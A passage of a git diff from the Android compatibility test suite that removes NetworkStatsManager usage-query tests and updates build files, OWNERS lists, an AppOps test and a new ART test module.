-        NetworkCallback callback = new NetworkCallback(tolerance, new URL(CHECK_CONNECTIVITY_URL));
-        mCm.requestNetwork(new NetworkRequest.Builder()
-                .addTransportType(mNetworkInterfacesToTest[networkTypeIndex].getTransportType())
-                .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
-                .build(), callback);
-        synchronized(this) {
-            try {
-                wait((int)(TIMEOUT_MILLIS * 1.2));
-            } catch (InterruptedException e) {
-            }
-        }
-        if (callback.success) {
-            mNetworkInterfacesToTest[networkTypeIndex].setMetered(callback.metered);
-            mNetworkInterfacesToTest[networkTypeIndex].setIsDefault(callback.isDefault);
-            return true;
-        }
-
-        // This will always fail at this point as we know 'hasFeature' is true.
-        assertFalse (mNetworkInterfacesToTest[networkTypeIndex].getSystemFeature() +
-                " is a reported system feature, " +
-                "however no corresponding connected network interface was found or the attempt " +
-                "to connect has timed out (timeout = " + TIMEOUT_MILLIS + "ms)." +
-                mNetworkInterfacesToTest[networkTypeIndex].getErrorMessage(), hasFeature);
-        return false;
-    }
-
-    private String getSubscriberId(int networkIndex) {
-        int networkType = mNetworkInterfacesToTest[networkIndex].getNetworkType();
-        if (ConnectivityManager.TYPE_MOBILE == networkType) {
-            TelephonyManager tm = (TelephonyManager) getInstrumentation().getContext()
-                    .getSystemService(Context.TELEPHONY_SERVICE);
-            return ShellIdentityUtils.invokeMethodWithShellPermissions(tm,
-                    (telephonyManager) -> telephonyManager.getSubscriberId());
-        }
-        return "";
-    }
-
-    @AppModeFull
-    public void testDeviceSummary() throws Exception {
-        for (int i = 0; i < mNetworkInterfacesToTest.length; ++i) {
-            if (!shouldTestThisNetworkType(i, MINUTE/2)) {
-                continue;
-            }
-            setAppOpsMode(AppOpsManager.OPSTR_GET_USAGE_STATS, "allow");
-            NetworkStats.Bucket bucket = null;
-            try {
-                bucket = mNsm.querySummaryForDevice(
-                        mNetworkInterfacesToTest[i].getNetworkType(), getSubscriberId(i),
-                        mStartTime, mEndTime);
-            } catch (RemoteException | SecurityException e) {
-                fail("testDeviceSummary fails with exception: " + e.toString());
-            }
-            assertNotNull(bucket);
-            assertTimestamps(bucket);
-            assertEquals(bucket.getState(), STATE_ALL);
-            assertEquals(bucket.getUid(), UID_ALL);
-            assertEquals(bucket.getMetered(), METERED_ALL);
-            assertEquals(bucket.getDefaultNetworkStatus(), DEFAULT_NETWORK_ALL);
-            setAppOpsMode(AppOpsManager.OPSTR_GET_USAGE_STATS, "deny");
-            try {
-                bucket = mNsm.querySummaryForDevice(
-                        mNetworkInterfacesToTest[i].getNetworkType(), getSubscriberId(i),
-                        mStartTime, mEndTime);
-                fail("negative testDeviceSummary fails: no exception thrown.");
-            } catch (RemoteException e) {
-                fail("testDeviceSummary fails with exception: " + e.toString());
-            } catch (SecurityException e) {
-                // expected outcome
-            }
-        }
-    }
-
-    @AppModeFull
-    public void testUserSummary() throws Exception {
-        for (int i = 0; i < mNetworkInterfacesToTest.length; ++i) {
-            if (!shouldTestThisNetworkType(i, MINUTE/2)) {
-                continue;
-            }
-            setAppOpsMode(AppOpsManager.OPSTR_GET_USAGE_STATS, "allow");
-            NetworkStats.Bucket bucket = null;
-            try {
-                bucket = mNsm.querySummaryForUser(
-                        mNetworkInterfacesToTest[i].getNetworkType(), getSubscriberId(i),
-                        mStartTime, mEndTime);
-            } catch (RemoteException | SecurityException e) {
-                fail("testUserSummary fails with exception: " + e.toString());
-            }
-            assertNotNull(bucket);
-            assertTimestamps(bucket);
-            assertEquals(bucket.getState(), STATE_ALL);
-            assertEquals(bucket.getUid(), UID_ALL);
-            assertEquals(bucket.getMetered(), METERED_ALL);
-            assertEquals(bucket.getDefaultNetworkStatus(), DEFAULT_NETWORK_ALL);
-            setAppOpsMode(AppOpsManager.OPSTR_GET_USAGE_STATS, "deny");
-            try {
-                bucket = mNsm.querySummaryForUser(
-                        mNetworkInterfacesToTest[i].getNetworkType(), getSubscriberId(i),
-                        mStartTime, mEndTime);
-                fail("negative testUserSummary fails: no exception thrown.");
-            } catch (RemoteException e) {
-                fail("testUserSummary fails with exception: " + e.toString());
-            } catch (SecurityException e) {
-                // expected outcome
-            }
-        }
-    }
-
-    @AppModeFull
-    public void testAppSummary() throws Exception {
-        for (int i = 0; i < mNetworkInterfacesToTest.length; ++i) {
-            // Use tolerance value that large enough to make sure stats of at
-            // least one bucket is included. However, this is possible that
-            // the test will see data of different app but with the same UID
-            // that created before testing.
-            // TODO: Consider query stats before testing and use the difference to verify.
-            if (!shouldTestThisNetworkType(i, MINUTE * 120)) {
-                continue;
-            }
-            setAppOpsMode(AppOpsManager.OPSTR_GET_USAGE_STATS, "allow");
-            NetworkStats result = null;
-            try {
-                result = mNsm.querySummary(
-                        mNetworkInterfacesToTest[i].getNetworkType(), getSubscriberId(i),
-                        mStartTime, mEndTime);
-                assertNotNull(result);
-                NetworkStats.Bucket bucket = new NetworkStats.Bucket();
-                long totalTxPackets = 0;
-                long totalRxPackets = 0;
-                long totalTxBytes = 0;
-                long totalRxBytes = 0;
-                boolean hasCorrectMetering = false;
-                boolean hasCorrectDefaultStatus = false;
-                int expectedMetering = mNetworkInterfacesToTest[i].getMetered() ?
-                        METERED_YES : METERED_NO;
-                int expectedDefaultStatus = mNetworkInterfacesToTest[i].getIsDefault() ?
-                        DEFAULT_NETWORK_YES : DEFAULT_NETWORK_NO;
-                while (result.hasNextBucket()) {
-                    assertTrue(result.getNextBucket(bucket));
-                    assertTimestamps(bucket);
-                    hasCorrectMetering |= bucket.getMetered() == expectedMetering;
-                    if (bucket.getUid() == Process.myUid()) {
-                        totalTxPackets += bucket.getTxPackets();
-                        totalRxPackets += bucket.getRxPackets();
-                        totalTxBytes += bucket.getTxBytes();
-                        totalRxBytes += bucket.getRxBytes();
-                        hasCorrectDefaultStatus |=
-                                bucket.getDefaultNetworkStatus() == expectedDefaultStatus;
-                    }
-                }
-                assertFalse(result.getNextBucket(bucket));
-                assertTrue("Incorrect metering for NetworkType: " +
-                        mNetworkInterfacesToTest[i].getNetworkType(), hasCorrectMetering);
-                assertTrue("Incorrect isDefault for NetworkType: " +
-                        mNetworkInterfacesToTest[i].getNetworkType(), hasCorrectDefaultStatus);
-                assertTrue("No Rx bytes usage for uid " + Process.myUid(), totalRxBytes > 0);
-                assertTrue("No Rx packets usage for uid " + Process.myUid(), totalRxPackets > 0);
-                assertTrue("No Tx bytes usage for uid " + Process.myUid(), totalTxBytes > 0);
-                assertTrue("No Tx packets usage for uid " + Process.myUid(), totalTxPackets > 0);
-            } finally {
-                if (result != null) {
-                    result.close();
-                }
-            }
-            setAppOpsMode(AppOpsManager.OPSTR_GET_USAGE_STATS, "deny");
-            try {
-                result = mNsm.querySummary(
-                        mNetworkInterfacesToTest[i].getNetworkType(), getSubscriberId(i),
-                        mStartTime, mEndTime);
-                fail("negative testAppSummary fails: no exception thrown.");
-            } catch (RemoteException e) {
-                fail("testAppSummary fails with exception: " + e.toString());
-            } catch (SecurityException e) {
-                // expected outcome
-            }
-        }
-    }
-
-    @AppModeFull
-    public void testAppDetails() throws Exception {
-        for (int i = 0; i < mNetworkInterfacesToTest.length; ++i) {
-            // Relatively large tolerance to accommodate for history bucket size.
-            if (!shouldTestThisNetworkType(i, MINUTE * 120)) {
-                continue;
-            }
-            setAppOpsMode(AppOpsManager.OPSTR_GET_USAGE_STATS, "allow");
-            NetworkStats result = null;
-            try {
-                result = mNsm.queryDetails(
-                        mNetworkInterfacesToTest[i].getNetworkType(), getSubscriberId(i),
-                        mStartTime, mEndTime);
-                long totalBytesWithSubscriberId = getTotalAndAssertNotEmpty(result);
-
-                // Test without filtering by subscriberId
-                result = mNsm.queryDetails(
-                        mNetworkInterfacesToTest[i].getNetworkType(), null,
-                        mStartTime, mEndTime);
-
-                assertTrue("More bytes with subscriberId filter than without.",
-                        getTotalAndAssertNotEmpty(result) >= totalBytesWithSubscriberId);
-            } catch (RemoteException | SecurityException e) {
-                fail("testAppDetails fails with exception: " + e.toString());
-            } finally {
-                if (result != null) {
-                    result.close();
-                }
-            }
-            setAppOpsMode(AppOpsManager.OPSTR_GET_USAGE_STATS, "deny");
-            try {
-                result = mNsm.queryDetails(
-                        mNetworkInterfacesToTest[i].getNetworkType(), getSubscriberId(i),
-                        mStartTime, mEndTime);
-                fail("negative testAppDetails fails: no exception thrown.");
-            } catch (RemoteException e) {
-                fail("testAppDetails fails with exception: " + e.toString());
-            } catch (SecurityException e) {
-                // expected outcome
-            }
-        }
-    }
-
-    @AppModeFull
-    public void testUidDetails() throws Exception {
-        for (int i = 0; i < mNetworkInterfacesToTest.length; ++i) {
-            // Relatively large tolerance to accommodate for history bucket size.
-            if (!shouldTestThisNetworkType(i, MINUTE * 120)) {
-                continue;
-            }
-            setAppOpsMode(AppOpsManager.OPSTR_GET_USAGE_STATS, "allow");
-            NetworkStats result = null;
-            try {
-                result = mNsm.queryDetailsForUid(
-                        mNetworkInterfacesToTest[i].getNetworkType(), getSubscriberId(i),
-                        mStartTime, mEndTime, Process.myUid());
-                assertNotNull(result);
-                NetworkStats.Bucket bucket = new NetworkStats.Bucket();
-                long totalTxPackets = 0;
-                long totalRxPackets = 0;
-                long totalTxBytes = 0;
-                long totalRxBytes = 0;
-                while (result.hasNextBucket()) {
-                    assertTrue(result.getNextBucket(bucket));
-                    assertTimestamps(bucket);
-                    assertEquals(bucket.getState(), STATE_ALL);
-                    assertEquals(bucket.getMetered(), METERED_ALL);
-                    assertEquals(bucket.getDefaultNetworkStatus(), DEFAULT_NETWORK_ALL);
-                    assertEquals(bucket.getUid(), Process.myUid());
-                    totalTxPackets += bucket.getTxPackets();
-                    totalRxPackets += bucket.getRxPackets();
-                    totalTxBytes += bucket.getTxBytes();
-                    totalRxBytes += bucket.getRxBytes();
-                }
-                assertFalse(result.getNextBucket(bucket));
-                assertTrue("No Rx bytes usage for uid " + Process.myUid(), totalRxBytes > 0);
-                assertTrue("No Rx packets usage for uid " + Process.myUid(), totalRxPackets > 0);
-                assertTrue("No Tx bytes usage for uid " + Process.myUid(), totalTxBytes > 0);
-                assertTrue("No Tx packets usage for uid " + Process.myUid(), totalTxPackets > 0);
-            } finally {
-                if (result != null) {
-                    result.close();
-                }
-            }
-            setAppOpsMode(AppOpsManager.OPSTR_GET_USAGE_STATS, "deny");
-            try {
-                result = mNsm.queryDetailsForUid(
-                        mNetworkInterfacesToTest[i].getNetworkType(), getSubscriberId(i),
-                        mStartTime, mEndTime, Process.myUid());
-                fail("negative testUidDetails fails: no exception thrown.");
-            } catch (SecurityException e) {
-                // expected outcome
-            }
-        }
-    }
-
-    @AppModeFull
-    public void testTagDetails() throws Exception {
-        for (int i = 0; i < mNetworkInterfacesToTest.length; ++i) {
-            // Relatively large tolerance to accommodate for history bucket size.
-            if (!shouldTestThisNetworkType(i, MINUTE * 120)) {
-                continue;
-            }
-            setAppOpsMode(AppOpsManager.OPSTR_GET_USAGE_STATS, "allow");
-            NetworkStats result = null;
-            try {
-                result = mNsm.queryDetailsForUidTag(
-                        mNetworkInterfacesToTest[i].getNetworkType(), getSubscriberId(i),
-                        mStartTime, mEndTime, Process.myUid(), NETWORK_TAG);
-                assertNotNull(result);
-                NetworkStats.Bucket bucket = new NetworkStats.Bucket();
-                long totalTxPackets = 0;
-                long totalRxPackets = 0;
-                long totalTxBytes = 0;
-                long totalRxBytes = 0;
-                while (result.hasNextBucket()) {
-                    assertTrue(result.getNextBucket(bucket));
-                    assertTimestamps(bucket);
-                    assertEquals(bucket.getState(), STATE_ALL);
-                    assertEquals(bucket.getMetered(), METERED_ALL);
-                    assertEquals(bucket.getDefaultNetworkStatus(), DEFAULT_NETWORK_ALL);
-                    assertEquals(bucket.getUid(), Process.myUid());
-                    if (bucket.getTag() == NETWORK_TAG) {
-                        totalTxPackets += bucket.getTxPackets();
-                        totalRxPackets += bucket.getRxPackets();
-                        totalTxBytes += bucket.getTxBytes();
-                        totalRxBytes += bucket.getRxBytes();
-                    }
-                }
-                assertTrue("No Rx bytes tagged with 0x" + Integer.toHexString(NETWORK_TAG)
-                        + " for uid " + Process.myUid(), totalRxBytes > 0);
-                assertTrue("No Rx packets tagged with 0x" + Integer.toHexString(NETWORK_TAG)
-                        + " for uid " + Process.myUid(), totalRxPackets > 0);
-                assertTrue("No Tx bytes tagged with 0x" + Integer.toHexString(NETWORK_TAG)
-                        + " for uid " + Process.myUid(), totalTxBytes > 0);
-                assertTrue("No Tx packets tagged with 0x" + Integer.toHexString(NETWORK_TAG)
-                        + " for uid " + Process.myUid(), totalTxPackets > 0);
-            } finally {
-                if (result != null) {
-                    result.close();
-                }
-            }
-            setAppOpsMode(AppOpsManager.OPSTR_GET_USAGE_STATS, "deny");
-            try {
-                result = mNsm.queryDetailsForUidTag(
-                        mNetworkInterfacesToTest[i].getNetworkType(), getSubscriberId(i),
-                        mStartTime, mEndTime, Process.myUid(), NETWORK_TAG);
-                fail("negative testUidDetails fails: no exception thrown.");
-            } catch (SecurityException e) {
-                // expected outcome
-            }
-        }
-    }
-
-    class QueryResult {
-        public final int tag;
-        public final int state;
-        public final long total;
-
-        public QueryResult(int tag, int state, NetworkStats stats) {
-            this.tag = tag;
-            this.state = state;
-            total = getTotalAndAssertNotEmpty(stats, tag, state);
-        }
-
-        public String toString() {
-            return String.format("QueryResult(tag=%s state=%s total=%d)",
-                    tagToString(tag), stateToString(state), total);
-        }
-    }
-
-    private NetworkStats getNetworkStatsForTagState(int i, int tag, int state) {
-        return mNsm.queryDetailsForUidTagState(
-                mNetworkInterfacesToTest[i].getNetworkType(), getSubscriberId(i),
-                mStartTime, mEndTime, Process.myUid(), tag, state);
-    }
-
-    private void assertWithinPercentage(String msg, long expected, long actual, int percentage) {
-        long lowerBound = expected * (100 - percentage) / 100;
-        long upperBound = expected * (100 + percentage) / 100;
-        msg = String.format("%s: %d not within %d%% of %d", msg, actual, percentage, expected);
-        assertTrue(msg, lowerBound <= actual);
-        assertTrue(msg, upperBound >= actual);
-    }
-
-    private void assertAlmostNoUnexpectedTraffic(NetworkStats result, int expectedTag,
-            int expectedState, long maxUnexpected) {
-        long total = 0;
-        NetworkStats.Bucket bucket = new NetworkStats.Bucket();
-        while (result.hasNextBucket()) {
-            assertTrue(result.getNextBucket(bucket));
-            total += bucket.getRxBytes() + bucket.getTxBytes();
-        }
-        if (total <= maxUnexpected) return;
-
-        fail(String.format("More than %d bytes of traffic when querying for "
-                + "tag %s state %s. Last bucket: uid=%d tag=%s state=%s bytes=%d/%d",
-                maxUnexpected, tagToString(expectedTag), stateToString(expectedState),
-                bucket.getUid(), tagToString(bucket.getTag()), stateToString(bucket.getState()),
-                bucket.getRxBytes(), bucket.getTxBytes()));
-    }
-
-    @AppModeFull
-    public void testUidTagStateDetails() throws Exception {
-        for (int i = 0; i < mNetworkInterfacesToTest.length; ++i) {
-            // Relatively large tolerance to accommodate for history bucket size.
-            if (!shouldTestThisNetworkType(i, MINUTE * 120)) {
-                continue;
-            }
-            setAppOpsMode(AppOpsManager.OPSTR_GET_USAGE_STATS, "allow");
-            NetworkStats result = null;
-            try {
-                int currentState = isInForeground() ? STATE_FOREGROUND : STATE_DEFAULT;
-                int otherState = (currentState == STATE_DEFAULT) ? STATE_FOREGROUND : STATE_DEFAULT;
-
-                int[] tagsWithTraffic = {NETWORK_TAG, TAG_NONE};
-                int[] statesWithTraffic = {currentState, STATE_ALL};
-                ArrayList<QueryResult> resultsWithTraffic = new ArrayList<>();
-
-                int[] statesWithNoTraffic = {otherState};
-                int[] tagsWithNoTraffic = {NETWORK_TAG + 1};
-                ArrayList<QueryResult> resultsWithNoTraffic = new ArrayList<>();
-
-                // Expect to see traffic when querying for any combination of a tag in
-                // tagsWithTraffic and a state in statesWithTraffic.
-                for (int tag : tagsWithTraffic) {
-                    for (int state : statesWithTraffic) {
-                        result = getNetworkStatsForTagState(i, tag, state);
-                        resultsWithTraffic.add(new QueryResult(tag, state, result));
-                        result.close();
-                        result = null;
-                    }
-                }
-
-                // Expect that the results are within a few percentage points of each other.
-                // This is ensures that FIN retransmits after the transfer is complete don't cause
-                // the test to be flaky. The test URL currently returns just over 100k so this
-                // should not be too noisy. It also ensures that the traffic sent by the test
-                // harness, which is untagged, won't cause a failure.
-                long firstTotal = resultsWithTraffic.get(0).total;
-                for (QueryResult queryResult : resultsWithTraffic) {
-                    assertWithinPercentage(queryResult + "", firstTotal, queryResult.total, 10);
-                }
-
-                // Expect to see no traffic when querying for any tag in tagsWithNoTraffic or any
-                // state in statesWithNoTraffic.
-                for (int tag : tagsWithNoTraffic) {
-                    for (int state : statesWithTraffic) {
-                        result = getNetworkStatsForTagState(i, tag, state);
-                        assertAlmostNoUnexpectedTraffic(result, tag, state, firstTotal / 100);
-                        result.close();
-                        result = null;
-                    }
-                }
-                for (int tag : tagsWithTraffic) {
-                    for (int state : statesWithNoTraffic) {
-                        result = getNetworkStatsForTagState(i, tag, state);
-                        assertAlmostNoUnexpectedTraffic(result, tag, state, firstTotal / 100);
-                        result.close();
-                        result = null;
-                    }
-                }
-            } finally {
-                if (result != null) {
-                    result.close();
-                }
-            }
-            setAppOpsMode(AppOpsManager.OPSTR_GET_USAGE_STATS, "deny");
-            try {
-                result = mNsm.queryDetailsForUidTag(
-                        mNetworkInterfacesToTest[i].getNetworkType(), getSubscriberId(i),
-                        mStartTime, mEndTime, Process.myUid(), NETWORK_TAG);
-                fail("negative testUidDetails fails: no exception thrown.");
-            } catch (SecurityException e) {
-                // expected outcome
-            }
-        }
-    }
-
-    @AppModeFull
-    public void testCallback() throws Exception {
-        for (int i = 0; i < mNetworkInterfacesToTest.length; ++i) {
-            // Relatively large tolerance to accommodate for history bucket size.
-            if (!shouldTestThisNetworkType(i, MINUTE/2)) {
-                continue;
-            }
-            setAppOpsMode(AppOpsManager.OPSTR_GET_USAGE_STATS, "allow");
-
-            TestUsageCallback usageCallback = new TestUsageCallback();
-            HandlerThread thread = new HandlerThread("callback-thread");
-            thread.start();
-            Handler handler = new Handler(thread.getLooper());
-            mNsm.registerUsageCallback(mNetworkInterfacesToTest[i].getNetworkType(),
-                    getSubscriberId(i), THRESHOLD_BYTES, usageCallback, handler);
-
-            // TODO: Force traffic and check whether the callback is invoked.
-            // Right now the test only covers whether the callback can be registered, but not
-            // whether it is invoked upon data usage since we don't have a scalable way of
-            // storing files of >2MB in CTS.
-
-            mNsm.unregisterUsageCallback(usageCallback);
-        }
-    }
-
-    private String tagToString(Integer tag) {
-        if (tag == null) return "null";
-        switch (tag) {
-            case TAG_NONE:
-                return "TAG_NONE";
-            default:
-                return "0x" + Integer.toHexString(tag);
-        }
-    }
-
-    private String stateToString(Integer state) {
-        if (state == null) return "null";
-        switch (state) {
-            case STATE_ALL:
-                return "STATE_ALL";
-            case STATE_DEFAULT:
-                return "STATE_DEFAULT";
-            case STATE_FOREGROUND:
-                return "STATE_FOREGROUND";
-        }
-        throw new IllegalArgumentException("Unknown state " + state);
-    }
-
-    private long getTotalAndAssertNotEmpty(NetworkStats result, Integer expectedTag,
-            Integer expectedState) {
-        assertTrue(result != null);
-        NetworkStats.Bucket bucket = new NetworkStats.Bucket();
-        long totalTxPackets = 0;
-        long totalRxPackets = 0;
-        long totalTxBytes = 0;
-        long totalRxBytes = 0;
-        while (result.hasNextBucket()) {
-            assertTrue(result.getNextBucket(bucket));
-            assertTimestamps(bucket);
-            if (expectedTag != null) assertEquals(bucket.getTag(), (int) expectedTag);
-            if (expectedState != null) assertEquals(bucket.getState(), (int) expectedState);
-            assertEquals(bucket.getMetered(), METERED_ALL);
-            assertEquals(bucket.getDefaultNetworkStatus(), DEFAULT_NETWORK_ALL);
-            if (bucket.getUid() == Process.myUid()) {
-                totalTxPackets += bucket.getTxPackets();
-                totalRxPackets += bucket.getRxPackets();
-                totalTxBytes += bucket.getTxBytes();
-                totalRxBytes += bucket.getRxBytes();
-            }
-        }
-        assertFalse(result.getNextBucket(bucket));
-        String msg = String.format("uid %d tag %s state %s",
-                Process.myUid(), tagToString(expectedTag), stateToString(expectedState));
-        assertTrue("No Rx bytes usage for " + msg, totalRxBytes > 0);
-        assertTrue("No Rx packets usage for " + msg, totalRxPackets > 0);
-        assertTrue("No Tx bytes usage for " + msg, totalTxBytes > 0);
-        assertTrue("No Tx packets usage for " + msg, totalTxPackets > 0);
-
-        return totalRxBytes + totalTxBytes;
-    }
-
-    private long getTotalAndAssertNotEmpty(NetworkStats result) {
-        return getTotalAndAssertNotEmpty(result, null, STATE_ALL);
-    }
-
-    private void assertTimestamps(final NetworkStats.Bucket bucket) {
-        assertTrue("Start timestamp " + bucket.getStartTimeStamp() + " is less than " +
-                mStartTime, bucket.getStartTimeStamp() >= mStartTime);
-        assertTrue("End timestamp " + bucket.getEndTimeStamp() + " is greater than " +
-                mEndTime, bucket.getEndTimeStamp() <= mEndTime);
-    }
-
-    private static class TestUsageCallback extends NetworkStatsManager.UsageCallback {
-        @Override
-        public void onThresholdReached(int networkType, String subscriberId) {
-            Log.v(LOG_TAG, "Called onThresholdReached for networkType=" + networkType
-                    + " subscriberId=" + subscriberId);
-        }
-    }
-}
diff --git a/tests/tests/appcomponentfactory/OWNERS b/tests/tests/appcomponentfactory/OWNERS
new file mode 100644
index 0000000..ef86412
--- /dev/null
+++ b/tests/tests/appcomponentfactory/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include platform/art:/OWNERS
diff --git a/tests/tests/appenumeration/Android.bp b/tests/tests/appenumeration/Android.bp
index 5d510eb..6c37c93 100644
--- a/tests/tests/appenumeration/Android.bp
+++ b/tests/tests/appenumeration/Android.bp
@@ -34,4 +34,50 @@
 
     srcs: ["src/**/*.java"],
     sdk_version: "test_current",
+    data: [
+        ":CtsAppEnumerationShareActivityTarget",
+        ":CtsAppEnumerationBrowserWildcardActivityTarget",
+        ":CtsAppEnumerationWildcardShareActivitySource",
+        ":CtsAppEnumerationWildcardBrowserActivitySource",
+        ":CtsAppEnumerationStub",
+        ":CtsAppEnumerationForceQueryable",
+        ":CtsAppEnumerationQueriesUnexportedActivityViaAction",
+        ":CtsAppEnumerationSharedUidSource",
+        ":CtsAppEnumerationQueriesNothingHasProvider",
+        ":CtsAppEnumerationQueriesNothingTargetsQ",
+        ":CtsAppEnumerationSyncadapterTarget",
+        ":CtsAppEnumerationSharedUidTarget",
+        ":CtsAppEnumerationWebActivityTarget",
+        ":CtsAppEnumerationAppWidgetProviderTarget",
+        ":CtsAppEnumerationForceQueryableNormalInstall",
+        ":CtsAppEnumerationQueriesNothingHasPermission",
+        ":CtsAppEnumerationQueriesNothingUsesOptionalLibrary",
+        ":CtsAppEnumerationPreferredActivityTarget",
+        ":CtsAppEnumerationQueriesProviderViaAction",
+        ":CtsAppEnumerationQueriesServiceViaAction",
+        ":CtsAppEnumerationQueriesNothingReceivesPermissionProtectedUri",
+        ":CtsAppEnumerationQueriesUnexportedProviderViaAction",
+        ":CtsAppEnumerationSyncadapterSharedUidTarget",
+        ":CtsAppEnumerationQueriesUnexportedProviderViaAuthority",
+        ":CtsAppEnumerationWildcardWebActivitySource",
+        ":CtsAppEnumerationDocumentsActivityTarget",
+        ":CtsAppEnumerationQueriesNothingSeesInstaller",
+        ":CtsAppEnumerationContactsActivityTarget",
+        ":CtsAppEnumerationQueriesActivityViaAction",
+        ":CtsAppEnumerationWildcardActionSource",
+        ":CtsAppEnumerationWildcardContactsActivitySource",
+        ":CtsAppEnumerationQueriesNothingReceivesUri",
+        ":CtsAppEnumerationQueriesProviderViaAuthority",
+        ":CtsAppEnumerationFilters",
+        ":CtsAppEnumerationBrowserActivityTarget",
+        ":CtsAppEnumerationQueriesNothing",
+        ":CtsAppEnumerationWildcardDocumentEditorActivitySource",
+        ":CtsAppEnumerationQueriesUnexportedServiceViaAction",
+        ":CtsAppEnumerationAppWidgetProviderSharedUidTarget",
+        ":CtsAppEnumerationWildcardBrowsableActivitySource",
+        ":CtsAppEnumerationQueriesPackage",
+        ":CtsAppEnumerationQueriesNothingUsesLibrary",
+        ":CtsAppEnumerationNoApi",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/tests/appenumeration/OWNERS b/tests/tests/appenumeration/OWNERS
index 8a44fb2..572f16f 100644
--- a/tests/tests/appenumeration/OWNERS
+++ b/tests/tests/appenumeration/OWNERS
@@ -1,5 +1,5 @@
 # Bug component: 36137
+include platform/frameworks/base:/PACKAGE_MANAGER_OWNERS
 patb@google.com
-toddke@google.com
 chiuwinson@google.com
-rtmitchell@google.com
+zyy@google.com
diff --git a/tests/tests/appop/Android.bp b/tests/tests/appop/Android.bp
index 33e53a5..beede26 100644
--- a/tests/tests/appop/Android.bp
+++ b/tests/tests/appop/Android.bp
@@ -79,11 +79,9 @@
 
     jni_libs: [
         "ld-android",
-        "libbacktrace",
         "libbase",
         "libbinder",
-        "libbpf",
-        "libbpf_android",
+        "libbpf_bcc",
         "libc++",
         "libcgrouprc",
         "libcrypto",
@@ -95,8 +93,8 @@
         "liblog",
         "liblzma",
         "libnativehelper",
-        "libnetdbpf",
         "libnetdutils",
+        "libnetworkstats",
         "libnetworkstatsfactorytestjni",
         "libpackagelistparser",
         "libpermission",
@@ -120,4 +118,21 @@
         "general-tests",
         "mts",
     ],
+    data: [
+        ":AppWithLongAttributionTag",
+        ":CtsAppThatUsesAppOps",
+        ":AppWithAttributionInheritingFromSameAsOther",
+        ":AppThatCanBeForcedIntoForegroundStates",
+        ":AppWithDuplicateAttribution",
+        ":AppWithTooManyAttributions",
+        ":CtsAppWithReceiverAttribution",
+        ":AppForDiscreteTest",
+        ":CtsAppToBlame1",
+        ":CtsAppToBlame2",
+        ":CtsAppToCollect",
+        ":AppInBackground",
+        ":AppWithAttributionInheritingFromSelf",
+        ":AppWithAttributionInheritingFromExisting",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
index e48ba00..b1e5966 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
@@ -596,7 +596,10 @@
 
     @Test
     fun ensurePhoneCallOpsRestricted() {
-        assumeTrue(mContext.packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY))
+        val pm = mContext.packageManager
+        assumeTrue(pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY) ||
+                pm.hasSystemFeature(PackageManager.FEATURE_MICROPHONE) ||
+                pm.hasSystemFeature(PackageManager.FEATURE_CONNECTION_SERVICE))
         val micReturn = mAppOps.noteOp(OPSTR_PHONE_CALL_MICROPHONE, Process.myUid(), mOpPackageName,
                 null, null)
         assertEquals(MODE_IGNORED, micReturn)
diff --git a/tests/tests/art/Android.bp b/tests/tests/art/Android.bp
new file mode 100644
index 0000000..86f1d60
--- /dev/null
+++ b/tests/tests/art/Android.bp
@@ -0,0 +1,16 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsArtTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: ["ctstestrunner-axt"],
+    srcs: ["**/*.java"],
+    manifest: "AndroidManifest.xml",
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/art/AndroidManifest.xml b/tests/tests/art/AndroidManifest.xml
new file mode 100644
index 0000000..ef7cf1a
--- /dev/null
+++ b/tests/tests/art/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.art_cts"
+    android:targetSandboxVersion="2">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+    <instrumentation
+        android:targetPackage="com.android.art_cts"
+        android:name="androidx.test.runner.AndroidJUnitRunner" />
+</manifest>
diff --git a/tests/tests/art/AndroidTest.xml b/tests/tests/art/AndroidTest.xml
new file mode 100644
index 0000000..8036c6f
--- /dev/null
+++ b/tests/tests/art/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<configuration description="Config for CTS ART test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsArtTestCases.apk" />
+    </target_preparer>
